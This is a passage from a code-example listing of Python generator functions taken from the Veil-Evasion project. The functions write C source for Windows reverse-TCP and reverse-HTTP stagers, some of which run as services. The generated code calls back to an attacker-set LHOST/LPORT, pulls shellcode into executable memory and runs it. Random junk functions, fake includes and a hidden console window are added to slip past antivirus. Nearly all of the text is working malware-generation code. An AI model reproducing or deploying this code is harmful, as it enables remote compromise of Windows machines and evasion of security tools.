        code += "for (i = 0;  i < %s;  ++i) %s[i] = malloc (%s);" %(number_of_strings_2, char_array_name_2, random.randint(max_string_length,global_max_string_length))

        # build and send the HTTP request to the handler
        code += "char %s[200];" %(request_buf_name)
        code += "sprintf(%s, \"GET /%%s HTTP/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: %s:%s\\r\\nConnection: close\\r\\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.1; Windows NT\\r\\n\\r\\n\", %s());" %(request_buf_name, self.required_options["LHOST"][0], self.required_options["LPORT"][0], checksum_name)
        code += "send(%s,%s, strlen( %s ),0);" %(my_socket_name, request_buf_name, request_buf_name)
        code += "Sleep(300);"

        # TODO: obfuscate/randomize the size of the page allocated
        code += "%s = VirtualAlloc(0, 1000000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);" %(buffer_name)
        code += "char* %s[%s];" % (char_array_name_3, number_of_strings_3)

        # first string obfuscation method
        code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" %(number_of_strings_1, char_array_name_1, stringGenFunctions[0][0])

        # read the full server response into the buffer
        code += "char * %s = %s;" % (buf_counter_name,buffer_name)
        code += "int %s; do {" % (bytes_read_name)
        code += "%s = recv(%s, %s, 1024, 0);" % (bytes_read_name, my_socket_name, buf_counter_name)
        code += "%s += %s; }" % (buf_counter_name,bytes_read_name)
        code += "while ( %s > 0 );" % (bytes_read_name)

        # malloc our third string obfuscation array
        code += "for (i = 0;  i < %s;  ++i) %s[i] = malloc (%s);" %(number_of_strings_3, char_array_name_3, random.randint(max_string_length,global_max_string_length))

        # second string obfuscation method
        code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" %(number_of_strings_2, char_array_name_2, stringGenFunctions[1][0])

        # real code
        code += "closesocket(%s); WSACleanup();" %(my_socket_name)
        code += "((void (*)())strstr(%s, \"\\r\\n\\r\\n\") + 4)();" %(buffer_name)

        # third string obfuscation method (never called)
        code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" %(number_of_strings_3, char_array_name_3, stringGenFunctions[2][0])
        code += "return 0;}\n"

        return code

Example 12

Project: Veil-Evasion
Source File: rev_http_service.py
View license
    def generate(self):

        sumvalue_name = helpers.randomString()
        checksum_name = helpers.randomString()
        winsock_init_name = helpers.randomString()
        punt_name = helpers.randomString()
        wsconnect_name = helpers.randomString()

        # the real includes needed
        includes = [ "#include <stdio.h>" , "#include <stdlib.h>", "#include <windows.h>", "#include <string.h>", "#include <time.h>"]

        # max length string for obfuscation
        global_max_string_length = 10000
        max_string_length = random.randint(100,global_max_string_length)
        max_num_strings = 10000

        # TODO: add in more string processing functions
        randName1 = helpers.randomString() # reverse()
        randName2 = helpers.randomString() # doubles characters
        stringModFunctions = [  (randName1, "char* %s(const char *t) { int length= strlen(t); int i; char* t2 = (char*)malloc((length+1) * sizeof(char)); for(i=0;i<length;i++) { t2[(length-1)-i]=t[i]; } t2[length] = '\\0'; return t2; }" %(randName1)),
                                (randName2, "char* %s(char* s){ char *result =  malloc(strlen(s)*2+1); int i; for (i=0; i<strlen(s)*2+1; i++){ result[i] = s[i/2]; result[i+1]=s[i/2];} result[i] = '\\0'; return result; }" %(randName2))
                            ]

        random.shuffle(stringModFunctions)

        # obfuscation "logical nop" string generation functions
        randString1 = helpers.randomString(50)
        randName1 = helpers.randomString()
        randVar1 = helpers.randomString()
        randName2 = helpers.randomString()
        randVar2 = helpers.randomString()
        randVar3 = helpers.randomString()
        randName3 = helpers.randomString()
        randVar4 = helpers.randomString()
        randVar5 = helpers.randomString()

        stringGenFunctions = [  (randName1, "char* %s(){ char *%s = %s(\"%s\"); return strstr( %s, \"%s\" );}" %(randName1, randVar1, stringModFunctions[0][0], randString1, randVar1, randString1[len(randString1)/2])),
                                (randName2, "char* %s(){ char %s[%s], %s[%s/2]; strcpy(%s,\"%s\"); strcpy(%s,\"%s\"); return %s(strcat( %s, %s)); }" % (randName2, randVar2, max_string_length, randVar3, max_string_length, randVar2, helpers.randomString(50), randVar3, helpers.randomString(50), stringModFunctions[1][0], randVar2, randVar3)),
                                (randName3, "char* %s() { char %s[%s] = \"%s\"; char *%s = strupr(%s); return strlwr(%s); }" % (randName3, randVar4, max_string_length, helpers.randomString(50), randVar5, randVar4, randVar5))
                             ]
        random.shuffle(stringGenFunctions)

        # obfuscation - add in our fake includes
        fake_includes = ["#include <sys/timeb.h>", "#include <time.h>", "#include <math.h>", "#include <signal.h>", "#include <stdarg.h>",
                        "#include <limits.h>", "#include <assert.h>"]
        t = random.randint(1,7)
        for x in xrange(1, random.randint(1,7)):
            includes.append(fake_includes[x])

        # shuffle up real/fake includes
        random.shuffle(includes)

        code = "#define _WIN32_WINNT 0x0500\n"
        code += "#include <winsock2.h>\n"
        code += "\n".join(includes) + "\n"

        #real - service related headers (check the stub)
        hStatusName = helpers.randomString()
        serviceHeaders = ["SERVICE_STATUS ServiceStatus;","SERVICE_STATUS_HANDLE %s;" %(hStatusName), "void  ServiceMain(int argc, char** argv);", "void  ControlHandler(DWORD request);"]
        random.shuffle(serviceHeaders)

        code += "\n".join(serviceHeaders)

        #string mod functions
        code += stringModFunctions[0][1] + "\n"
        code += stringModFunctions[1][1] + "\n"

        # build the sumValue function
        string_arg_name = helpers.randomString()
        retval_name = helpers.randomString()
        code += "int %s(char %s[]) {" % (sumvalue_name, string_arg_name)
        code += "int %s=0; int i;" %(retval_name)
        code += "for (i=0; i<strlen(%s);++i) %s += %s[i];" %(string_arg_name, retval_name, string_arg_name)
        code += "return (%s %% 256);}\n" %(retval_name)

        # build the winsock_init function
        wVersionRequested_name = helpers.randomString()
        wsaData_name = helpers.randomString()
        code += "void %s() {" % (winsock_init_name)
        code += "WORD %s = MAKEWORD(%s, %s); WSADATA %s;" % (wVersionRequested_name, helpers.obfuscateNum(2,4), helpers.obfuscateNum(2,4), wsaData_name)
        code += "if (WSAStartup(%s, &%s) < 0) { WSACleanup(); exit(1);}}\n" %(wVersionRequested_name,wsaData_name)

        # first logical nop string function
        code += stringGenFunctions[0][1] + "\n"

        # build punt function
        my_socket_name = helpers.randomString()
        code += "void %s(SOCKET %s) {" %(punt_name, my_socket_name)
        code += "closesocket(%s);" %(my_socket_name)
        code += "WSACleanup();"
        code += "exit(1);}\n"

        # second logical nop string function
        code += stringGenFunctions[1][1] + "\n"

        # build the reverse_http uri checksum function
        randchars = ''.join(random.sample("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789",62))
        characters_name = helpers.randomString()
        string_var_name = helpers.randomString()
        code += "char* %s(){" %(checksum_name)
        code += "srand (time(NULL));int i;"
        code += "char %s[] = \"%s\";" %(characters_name, randchars)
        code += "char* %s = malloc(5); %s[4] = 0;" %(string_var_name, string_var_name)
        code += "while (1<2){for(i=0;i<3;++i){%s[i] = %s[rand() %% (sizeof(%s)-1)];}" %(string_var_name, characters_name, characters_name)
        code += "for(i=0;i<sizeof(%s);i++){ %s[3] = %s[i];" % (characters_name, string_var_name, characters_name)
        code += "if (%s(%s) == 92) return %s; } } return 0;}\n" % (sumvalue_name,string_var_name,string_var_name)

        # third logical nop string function
        code += stringGenFunctions[2][1] + "\n"

        # build wsconnect function
        target_name = helpers.randomString()
        sock_name = helpers.randomString()
        my_socket_name = helpers.randomString()
        code += "SOCKET %s() { struct hostent * %s; struct sockaddr_in %s; SOCKET %s;" % (wsconnect_name, target_name, sock_name, my_socket_name)
        code += "%s = socket(AF_INET, SOCK_STREAM, 0);" %(my_socket_name)
        code += "if (%s == INVALID_SOCKET) %s(%s);" %(my_socket_name, punt_name, my_socket_name);
        code += "%s = gethostbyname(\"%s\");" %(target_name, self.required_options["LHOST"][0])
        code += "if (%s == NULL) %s(%s);" %(target_name, punt_name, my_socket_name)
        code += "memcpy(&%s.sin_addr.s_addr, %s->h_addr, %s->h_length);" %(sock_name, target_name, target_name)
        code += "%s.sin_family = AF_INET;" %(sock_name)
        code += "%s.sin_port = htons(%s);" %(sock_name, helpers.obfuscateNum(int(self.required_options["LPORT"][0]),32))
        code += "if ( connect(%s, (struct sockaddr *)&%s, sizeof(%s)) ) %s(%s);" %(my_socket_name, sock_name, sock_name, punt_name, my_socket_name)
        code += "return %s;}\n" %(my_socket_name)


        # real - main() method for the service code
        serviceName = helpers.randomString()
        code += "void main() { SERVICE_TABLE_ENTRY ServiceTable[2];"
        serviceTableEntries = [ "ServiceTable[0].lpServiceName = \"%s\";" %(serviceName),
                                "ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;",
                                "ServiceTable[1].lpServiceName = NULL;",
                                "ServiceTable[1].lpServiceProc = NULL;"]
        random.shuffle(serviceTableEntries)
        code += "\n".join(serviceTableEntries)
        code += "StartServiceCtrlDispatcher(ServiceTable);}\n"


        # real - service status options for us to shuffle
        serviceStatusOptions = ["ServiceStatus.dwWin32ExitCode = 0;",
                                "ServiceStatus.dwCurrentState = SERVICE_START_PENDING;",
                                "ServiceStatus.dwWaitHint = 0;",
                                "ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;",
                                "ServiceStatus.dwServiceSpecificExitCode = 0;",
                                "ServiceStatus.dwCheckPoint = 0;",
                                "ServiceStatus.dwServiceType = SERVICE_WIN32;"]
        random.shuffle(serviceStatusOptions)

        # real - serviceMain() code
        code += "void ServiceMain(int argc, char** argv) {\n"
        code += "\n".join(serviceStatusOptions)

        code += "%s = RegisterServiceCtrlHandler( \"%s\", (LPHANDLER_FUNCTION)ControlHandler);" %(hStatusName, serviceName)
        code += "if (%s == (SERVICE_STATUS_HANDLE)0) return;" %(hStatusName)
        code += "ServiceStatus.dwCurrentState = SERVICE_RUNNING;"
        code += "SetServiceStatus (%s, &ServiceStatus);" %(hStatusName)

        code += "while (ServiceStatus.dwCurrentState == SERVICE_RUNNING) {\n"

        # build main() code
        size_name = helpers.randomString()
        buffer_name = helpers.randomString()
        function_name = helpers.randomString()
        my_socket_name = helpers.randomString()
        count_name = helpers.randomString()
        request_buf_name = helpers.randomString()
        buf_counter_name = helpers.randomString()
        bytes_read_name = helpers.randomString()

        # obfuscation stuff
        char_array_name_1 = helpers.randomString()
        number_of_strings_1 = random.randint(1,max_num_strings)
        char_array_name_2 = helpers.randomString()
        number_of_strings_2 = random.randint(1,max_num_strings)
        char_array_name_3 = helpers.randomString()
        number_of_strings_3 = random.randint(1,max_num_strings)


        code += "char * %s; int i;" %(buffer_name)

        # obfuscation
        code += "char* %s[%s];" % (char_array_name_1, number_of_strings_1)

        # malloc our first string obfuscation array
        code += "for (i = 0;  i < %s;  ++i) %s[i] = malloc (%s);" %(number_of_strings_1, char_array_name_1, random.randint(max_string_length,global_max_string_length))

        # call the winsock init function
        code += "%s();" %(winsock_init_name)

        # obfuscation
        code += "char* %s[%s];" % (char_array_name_2, number_of_strings_2)

        # create our socket
        code += "SOCKET %s = %s();" %(my_socket_name,wsconnect_name)

        # malloc our second string obfuscation array
        code += "for (i = 0;  i < %s;  ++i) %s[i] = malloc (%s);" %(number_of_strings_2, char_array_name_2, random.randint(max_string_length,global_max_string_length))

        # build and send the HTTP request to the handler
        code += "char %s[200];" %(request_buf_name)
        code += "sprintf(%s, \"GET /%%s HTTP/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: %s:%s\\r\\nConnection: close\\r\\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.1; Windows NT\\r\\n\\r\\n\", %s());" %(request_buf_name, self.required_options["LHOST"][0], self.required_options["LPORT"][0], checksum_name)
        code += "send(%s,%s, strlen( %s ),0);" %(my_socket_name, request_buf_name, request_buf_name)
        code += "Sleep(300);"

        # TODO: obfuscate/randomize the size of the page allocated
        code += "%s = VirtualAlloc(0, 1000000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);" %(buffer_name)
        code += "char* %s[%s];" % (char_array_name_3, number_of_strings_3)

        # first string obfuscation method
        code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" %(number_of_strings_1, char_array_name_1, stringGenFunctions[0][0])

        # read the full server response into the buffer
        code += "char * %s = %s;" % (buf_counter_name,buffer_name)
        code += "int %s; do {" % (bytes_read_name)
        code += "%s = recv(%s, %s, 1024, 0);" % (bytes_read_name, my_socket_name, buf_counter_name)
        code += "%s += %s; }" % (buf_counter_name,bytes_read_name)
        code += "while ( %s > 0 );" % (bytes_read_name)

        # malloc our third string obfuscation array
        code += "for (i = 0;  i < %s;  ++i) %s[i] = malloc (%s);" %(number_of_strings_3, char_array_name_3, random.randint(max_string_length,global_max_string_length))

        # second string obfuscation method
        code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" %(number_of_strings_2, char_array_name_2, stringGenFunctions[1][0])

        # real code
        code += "closesocket(%s); WSACleanup();" %(my_socket_name)
        code += "((void (*)())strstr(%s, \"\\r\\n\\r\\n\") + 4)();" %(buffer_name)

        # third string obfuscation method (never called)
        code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" %(number_of_strings_3, char_array_name_3, stringGenFunctions[2][0])
        code += "} return; }\n"

        # service control handler code
        code += """void ControlHandler(DWORD request)
    {
        switch(request)
        {
            case SERVICE_CONTROL_STOP:
                ServiceStatus.dwWin32ExitCode = 0;
                ServiceStatus.dwCurrentState  = SERVICE_STOPPED;
                SetServiceStatus (%s, &ServiceStatus);
                return;
            case SERVICE_CONTROL_SHUTDOWN:
                ServiceStatus.dwWin32ExitCode = 0;
                ServiceStatus.dwCurrentState  = SERVICE_STOPPED;
                SetServiceStatus (%s, &ServiceStatus);
                return;
            default:
                break;
        }
        SetServiceStatus (%s,  &ServiceStatus);
        return;
    }
    """ %(hStatusName, hStatusName, hStatusName)

        return code

Example 13

Project: Veil-Evasion
Source File: rev_tcp.py
View license
    def generate(self):

        winsock_init_name = helpers.randomString()
        punt_name = helpers.randomString()
        recv_all_name = helpers.randomString()
        wsconnect_name = helpers.randomString()

        # the real includes needed
        includes = [ "#include <stdio.h>" , "#include <stdlib.h>", "#include <windows.h>", "#include <string.h>"]

        # max length string for obfuscation
        global_max_string_length = 10000
        max_string_length = random.randint(100,global_max_string_length)
        max_num_strings = 10000

        # TODO: add in more string processing functions
        randName1 = helpers.randomString() # reverse()
        randName2 = helpers.randomString() # doubles characters
        stringModFunctions = [  (randName1, "char* %s(const char *t) { int length= strlen(t); int i; char* t2 = (char*)malloc((length+1) * sizeof(char)); for(i=0;i<length;i++) { t2[(length-1)-i]=t[i]; } t2[length] = '\\0'; return t2; }" %(randName1)),
                                (randName2, "char* %s(char* s){ char *result =  malloc(strlen(s)*2+1); int i; for (i=0; i<strlen(s)*2+1; i++){ result[i] = s[i/2]; result[i+1]=s[i/2];} result[i] = '\\0'; return result; }" %(randName2))
                            ]

        helpers.shuffle(stringModFunctions)

        # obfuscation "logical nop" string generation functions
        randString1 = helpers.randomString(50)
        randName1 = helpers.randomString()
        randVar1 = helpers.randomString()
        randName2 = helpers.randomString()
        randVar2 = helpers.randomString()
        randVar3 = helpers.randomString()
        randName3 = helpers.randomString()
        randVar4 = helpers.randomString()
        randVar5 = helpers.randomString()

        stringGenFunctions = [  (randName1, "char* %s(){ char *%s = %s(\"%s\"); return strstr( %s, \"%s\" );}" %(randName1, randVar1, stringModFunctions[0][0], randString1, randVar1, randString1[len(randString1)/2])),
                                (randName2, "char* %s(){ char %s[%s], %s[%s/2]; strcpy(%s,\"%s\"); strcpy(%s,\"%s\"); return %s(strcat( %s, %s)); }" % (randName2, randVar2, max_string_length, randVar3, max_string_length, randVar2, helpers.randomString(50), randVar3, helpers.randomString(50), stringModFunctions[1][0], randVar2, randVar3)),
                                (randName3, "char* %s() { char %s[%s] = \"%s\"; char *%s = strupr(%s); return strlwr(%s); }" % (randName3, randVar4, max_string_length, helpers.randomString(50), randVar5, randVar4, randVar5))
                             ]
        helpers.shuffle(stringGenFunctions)

        # obfuscation - add in our fake includes
        fake_includes = ["#include <sys/timeb.h>", "#include <time.h>", "#include <math.h>", "#include <signal.h>", "#include <stdarg.h>",
                        "#include <limits.h>", "#include <assert.h>"]
        t = random.randint(1,7)
        for x in xrange(1, random.randint(1,7)):
            includes.append(fake_includes[x])

        # shuffle up real/fake includes
        helpers.shuffle(includes)

        code = "#define _WIN32_WINNT 0x0500\n"
        code += "#include <winsock2.h>\n"
        code += "\n".join(includes) + "\n"

        #string mod functions
        code += stringModFunctions[0][1] + "\n"
        code += stringModFunctions[1][1] + "\n"

        # build the winsock_init function
        wVersionRequested_name = helpers.randomString()
        wsaData_name = helpers.randomString()
        code += "void %s() {" % (winsock_init_name)
        code += "WORD %s = MAKEWORD(%s, %s); WSADATA %s;" % (wVersionRequested_name, helpers.obfuscateNum(2,4), helpers.obfuscateNum(2,4), wsaData_name)
        code += "if (WSAStartup(%s, &%s) < 0) { WSACleanup(); exit(1);}}\n" %(wVersionRequested_name,wsaData_name)

        # first logical nop string function
        code += stringGenFunctions[0][1] + "\n"

        # build punt function
        my_socket_name = helpers.randomString()
        code += "void %s(SOCKET %s) {" %(punt_name, my_socket_name)
        code += "closesocket(%s);" %(my_socket_name)
        code += "WSACleanup();"
        code += "exit(1);}\n"

        # second logical nop string function
        code += stringGenFunctions[1][1] + "\n"

        # build recv_all function
        my_socket_name = helpers.randomString()
        buffer_name = helpers.randomString()
        len_name = helpers.randomString()
        code += "int %s(SOCKET %s, void * %s, int %s){" %(recv_all_name, my_socket_name, buffer_name, len_name)
        code += "int slfkmklsDSA=0;int rcAmwSVM=0;"
        code += "void * startb = %s;" %(buffer_name)
        code += "while (rcAmwSVM < %s) {" %(len_name)
        code += "slfkmklsDSA = recv(%s, (char *)startb, %s - rcAmwSVM, 0);" %(my_socket_name, len_name)
        code += "startb += slfkmklsDSA; rcAmwSVM   += slfkmklsDSA;"
        code += "if (slfkmklsDSA == SOCKET_ERROR) %s(%s);} return rcAmwSVM; }\n" %(punt_name, my_socket_name)

        # third logical nop string function
        code += stringGenFunctions[2][1] + "\n"

        # build wsconnect function
        target_name = helpers.randomString()
        sock_name = helpers.randomString()
        my_socket_name = helpers.randomString()
        code += "SOCKET %s() { struct hostent * %s; struct sockaddr_in %s; SOCKET %s;" % (wsconnect_name, target_name, sock_name, my_socket_name)
        code += "%s = socket(AF_INET, SOCK_STREAM, 0);" %(my_socket_name)
        code += "if (%s == INVALID_SOCKET) %s(%s);" %(my_socket_name, punt_name, my_socket_name);
        code += "%s = gethostbyname(\"%s\");" %(target_name, self.required_options["LHOST"][0])
        code += "if (%s == NULL) %s(%s);" %(target_name, punt_name, my_socket_name)
        code += "memcpy(&%s.sin_addr.s_addr, %s->h_addr, %s->h_length);" %(sock_name, target_name, target_name)
        code += "%s.sin_family = AF_INET;" %(sock_name)
        code += "%s.sin_port = htons(%s);" %(sock_name, helpers.obfuscateNum(int(self.required_options["LPORT"][0]),32))
        code += "if ( connect(%s, (struct sockaddr *)&%s, sizeof(%s)) ) %s(%s);" %(my_socket_name, sock_name, sock_name, punt_name, my_socket_name)
        code += "return %s;}\n" %(my_socket_name)

        # build main() code
        size_name = helpers.randomString()
        buffer_name = helpers.randomString()
        function_name = helpers.randomString()
        my_socket_name = helpers.randomString()
        count_name = helpers.randomString()

        # obfuscation stuff
        char_array_name_1 = helpers.randomString()
        number_of_strings_1 = random.randint(1,max_num_strings)
        char_array_name_2 = helpers.randomString()
        number_of_strings_2 = random.randint(1,max_num_strings)
        char_array_name_3 = helpers.randomString()
        number_of_strings_3 = random.randint(1,max_num_strings)

        code += "int main(int argc, char * argv[]) {"
        code += "ShowWindow( GetConsoleWindow(), SW_HIDE );"
        code += "ULONG32 %s;" %(size_name)
        code += "char * %s;" %(buffer_name)
        code += "int i;"
        code += "char* %s[%s];" % (char_array_name_1, number_of_strings_1)
        code += "void (*%s)();" %(function_name)

        # malloc our first string obfuscation array
        code += "for (i = 0;  i < %s;  ++i) %s[i] = malloc (%s);" %(number_of_strings_1, char_array_name_1, random.randint(max_string_length,global_max_string_length))

        code += "%s();" %(winsock_init_name)
        code += "char* %s[%s];" % (char_array_name_2, number_of_strings_2)
        code += "SOCKET %s = %s();" %(my_socket_name,wsconnect_name)

        # malloc our second string obfuscation array
        code += "for (i = 0;  i < %s;  ++i) %s[i] = malloc (%s);" %(number_of_strings_2, char_array_name_2, random.randint(max_string_length,global_max_string_length))

        code += "int %s = recv(%s, (char *)&%s, %s, 0);" % (count_name, my_socket_name, size_name, helpers.obfuscateNum(4,2))
        code += "if (%s != %s || %s <= 0) %s(%s);" %(count_name, helpers.obfuscateNum(4,2), size_name, punt_name, my_socket_name)

        code += "%s = VirtualAlloc(0, %s + %s, MEM_COMMIT, PAGE_EXECUTE_READWRITE);" %(buffer_name, size_name, helpers.obfuscateNum(5,2))
        code += "char* %s[%s];" % (char_array_name_3, number_of_strings_3)

        # first string obfuscation method
        code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" %(number_of_strings_1, char_array_name_1, stringGenFunctions[0][0])

        # real code
        code += "if (%s == NULL) %s(%s);" %(buffer_name, punt_name, my_socket_name)
        code += "%s[0] = 0xBF;" %(buffer_name)
        code += "memcpy(%s + 1, &%s, %s);" %(buffer_name, my_socket_name, helpers.obfuscateNum(4,2))

        # malloc our third string obfuscation array
        code += "for (i = 0;  i < %s;  ++i) %s[i] = malloc (%s);" %(number_of_strings_3, char_array_name_3, random.randint(max_string_length,global_max_string_length))

        # second string obfuscation method
        code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" %(number_of_strings_2, char_array_name_2, stringGenFunctions[1][0])

        # real code
        code += "%s = %s(%s, %s + %s, %s);" %(count_name, recv_all_name, my_socket_name, buffer_name, helpers.obfuscateNum(5,2), size_name)
        code += "%s = (void (*)())%s;" %(function_name, buffer_name)
        code += "%s();" %(function_name)

        # third string obfuscation method (never called)
        code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" %(number_of_strings_3, char_array_name_3, stringGenFunctions[2][0])

        code += "return 0;}\n"

        return code

Example 14

Project: Veil-Evasion
Source File: rev_tcp_service.py
View license
    def generate(self):

        winsock_init_name = helpers.randomString()
        punt_name = helpers.randomString()
        recv_all_name = helpers.randomString()
        wsconnect_name = helpers.randomString()

        # the real includes needed
        includes = [ "#include <stdio.h>" , "#include <stdlib.h>", "#include <windows.h>", "#include <string.h>"]

        # max length string for obfuscation
        global_max_string_length = 10000
        max_string_length = random.randint(100,global_max_string_length)
        max_num_strings = 10000


        # TODO: add in more string processing functions
        randName1 = helpers.randomString() # reverse()
        randName2 = helpers.randomString() # doubles characters
        stringModFunctions = [  (randName1, "char* %s(const char *t) { int length= strlen(t); int i; char* t2 = (char*)malloc((length+1) * sizeof(char)); for(i=0;i<length;i++) { t2[(length-1)-i]=t[i]; } t2[length] = '\\0'; return t2; }" %(randName1)),
                                (randName2, "char* %s(char* s){ char *result =  malloc(strlen(s)*2+1); int i; for (i=0; i<strlen(s)*2+1; i++){ result[i] = s[i/2]; result[i+1]=s[i/2];} result[i] = '\\0'; return result; }" %(randName2))
                            ]

        helpers.shuffle(stringModFunctions)

        # obsufcation - "logical nop" string generation functions
        randString1 = helpers.randomString(50)
        randName1 = helpers.randomString()
        randVar1 = helpers.randomString()
        randName2 = helpers.randomString()
        randVar2 = helpers.randomString()
        randVar3 = helpers.randomString()
        randName3 = helpers.randomString()
        randVar4 = helpers.randomString()
        randVar5 = helpers.randomString()
        stringGenFunctions = [  (randName1, "char* %s(){ char *%s = %s(\"%s\"); return strstr( %s, \"%s\" );}" %(randName1, randVar1, stringModFunctions[0][0], randString1, randVar1, randString1[len(randString1)/2])),
                                (randName2, "char* %s(){ char %s[%s], %s[%s/2]; strcpy(%s,\"%s\"); strcpy(%s,\"%s\"); return %s(strcat( %s, %s)); }" % (randName2, randVar2, max_string_length, randVar3, max_string_length, randVar2, helpers.randomString(50), randVar3, helpers.randomString(50), stringModFunctions[1][0], randVar2, randVar3)),
                                (randName3, "char* %s() { char %s[%s] = \"%s\"; char *%s = strupr(%s); return strlwr(%s); }" % (randName3, randVar4, max_string_length, helpers.randomString(50), randVar5, randVar4, randVar5))
                             ]
        helpers.shuffle(stringGenFunctions)

        # obfuscation - add in our fake includes
        fake_includes = ["#include <sys/timeb.h>", "#include <time.h>", "#include <math.h>", "#include <signal.h>", "#include <stdarg.h>",
                        "#include <limits.h>", "#include <assert.h>"]
        t = random.randint(1,7)
        for x in xrange(1, random.randint(1,7)):
            includes.append(fake_includes[x])

        # obsufcation - shuffle up our real and fake includes
        helpers.shuffle(includes)

        code = "#define _WIN32_WINNT 0x0500\n"
        code += "#include <winsock2.h>\n"
        code += "\n".join(includes) + "\n"


        # real - service related headers (check the stub)
        hStatusName = helpers.randomString()
        serviceHeaders = ["SERVICE_STATUS ServiceStatus;","SERVICE_STATUS_HANDLE %s;" %(hStatusName), "void  ServiceMain(int argc, char** argv);", "void  ControlHandler(DWORD request);"]
        helpers.shuffle(serviceHeaders)

        code += "\n".join(serviceHeaders)

        # obsufcation - string mod functions
        code += stringModFunctions[0][1] + "\n"
        code += stringModFunctions[1][1] + "\n"

        # real - build the winsock_init function
        wVersionRequested_name = helpers.randomString()
        wsaData_name = helpers.randomString()
        code += "void %s() {" % (winsock_init_name)
        code += "WORD %s = MAKEWORD(%s, %s); WSADATA %s;" % (wVersionRequested_name, helpers.obfuscateNum(2,4),helpers.obfuscateNum(2,4), wsaData_name)
        code += "if (WSAStartup(%s, &%s) < 0) { WSACleanup(); exit(1);}}\n" %(wVersionRequested_name,wsaData_name)

        # first logical nop string function
        code += stringGenFunctions[0][1] + "\n"

        # real - build punt function
        my_socket_name = helpers.randomString()
        code += "void %s(SOCKET %s) {" %(punt_name, my_socket_name)
        code += "closesocket(%s);" %(my_socket_name)
        code += "WSACleanup();"
        code += "exit(1);}\n"

        # obsufcation - second logical nop string function
        code += stringGenFunctions[1][1] + "\n"

        # real - build recv_all function
        my_socket_name = helpers.randomString()
        buffer_name = helpers.randomString()
        len_name = helpers.randomString()
        code += "int %s(SOCKET %s, void * %s, int %s){" %(recv_all_name, my_socket_name, buffer_name, len_name)
        code += "int slfkmklsDSA=0;int rcAmwSVM=0;"
        code += "void * startb = %s;" %(buffer_name)
        code += "while (rcAmwSVM < %s) {" %(len_name)
        code += "slfkmklsDSA = recv(%s, (char *)startb, %s - rcAmwSVM, 0);" %(my_socket_name, len_name)
        code += "startb += slfkmklsDSA; rcAmwSVM   += slfkmklsDSA;"
        code += "if (slfkmklsDSA == SOCKET_ERROR) %s(%s);} return rcAmwSVM; }\n" %(punt_name, my_socket_name)

        # obsufcation - third logical nop string function
        code += stringGenFunctions[2][1] + "\n"

        # real - build wsconnect function
        target_name = helpers.randomString()
        sock_name = helpers.randomString()
        my_socket_name = helpers.randomString()
        code += "SOCKET %s() { struct hostent * %s; struct sockaddr_in %s; SOCKET %s;" % (wsconnect_name, target_name, sock_name, my_socket_name)
        code += "%s = socket(AF_INET, SOCK_STREAM, 0);" %(my_socket_name)
        code += "if (%s == INVALID_SOCKET) %s(%s);" %(my_socket_name, punt_name, my_socket_name);
        code += "%s = gethostbyname(\"%s\");" %(target_name, self.required_options["LHOST"][0])
        code += "if (%s == NULL) %s(%s);" %(target_name, punt_name, my_socket_name)
        code += "memcpy(&%s.sin_addr.s_addr, %s->h_addr, %s->h_length);" %(sock_name, target_name, target_name)
        code += "%s.sin_family = AF_INET;" %(sock_name)
        code += "%s.sin_port = htons(%s);" %(sock_name, helpers.obfuscateNum(int(self.required_options["LPORT"][0]),32))
        code += "if ( connect(%s, (struct sockaddr *)&%s, sizeof(%s)) ) %s(%s);" %(my_socket_name, sock_name, sock_name, punt_name, my_socket_name)
        code += "return %s;}\n" %(my_socket_name)


        # real - main() method for the service code
        serviceName = helpers.randomString()
        code += "void main() { SERVICE_TABLE_ENTRY ServiceTable[2];"
        serviceTableEntries = [ "ServiceTable[0].lpServiceName = \"%s\";" %(serviceName),
                                "ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;",
                                "ServiceTable[1].lpServiceName = NULL;",
                                "ServiceTable[1].lpServiceProc = NULL;"]
        helpers.shuffle(serviceTableEntries)
        code += "\n".join(serviceTableEntries)
        code += "StartServiceCtrlDispatcher(ServiceTable);}\n"


        # real - service status options for us to shuffle
        serviceStatusOptions = ["ServiceStatus.dwWin32ExitCode = 0;",
                                "ServiceStatus.dwCurrentState = SERVICE_START_PENDING;",
                                "ServiceStatus.dwWaitHint = 0;",
                                "ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;",
                                "ServiceStatus.dwServiceSpecificExitCode = 0;",
                                "ServiceStatus.dwCheckPoint = 0;",
                                "ServiceStatus.dwServiceType = SERVICE_WIN32;"]
        helpers.shuffle(serviceStatusOptions)

        # real - serviceMain() code
        code += "void ServiceMain(int argc, char** argv) {\n"
        code += "\n".join(serviceStatusOptions)

        code += "%s = RegisterServiceCtrlHandler( \"%s\", (LPHANDLER_FUNCTION)ControlHandler);" %(hStatusName, serviceName)
        code += "if (%s == (SERVICE_STATUS_HANDLE)0) return;" %(hStatusName)
        code += "ServiceStatus.dwCurrentState = SERVICE_RUNNING;"
        code += "SetServiceStatus (%s, &ServiceStatus);" %(hStatusName)

        code += "while (ServiceStatus.dwCurrentState == SERVICE_RUNNING) {\n"

        # obsufcation - random variable names
        size_name = helpers.randomString()
        buffer_name = helpers.randomString()
        function_name = helpers.randomString()
        my_socket_name = helpers.randomString()
        count_name = helpers.randomString()

        # obsufcation - necessary declarations
        char_array_name_1 = helpers.randomString()
        number_of_strings_1 = random.randint(1,max_num_strings)
        char_array_name_2 = helpers.randomString()
